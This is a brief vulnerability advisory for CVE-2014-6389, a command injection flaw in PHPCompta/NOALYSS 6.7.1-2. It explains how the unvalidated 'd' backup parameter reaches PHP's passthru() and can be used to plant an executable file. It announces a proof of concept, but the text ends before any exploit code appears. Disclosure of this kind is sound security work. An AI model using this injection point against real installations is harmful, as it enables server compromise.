Vulnerability title: Remote Command Execution in PHPCompta/NOALYSS

CVE: CVE-2014-6389

|
Vendor: PHPCompta

Product: PHPCompta/NOALYSS

Details:
|
|
|
|
PhpCompta 6.7.1-2 does not validate the syntax of the commands when processing backup requests from users. It is possible to abuse the 'd' parameter to inject additional parameters that will then be passed via the php passthru() function to create a backup file, which will subsequently be executed. The proof of concept below will create a file 'exploit.php' in the root directory of the application, which will execute phpinfo() function when called.
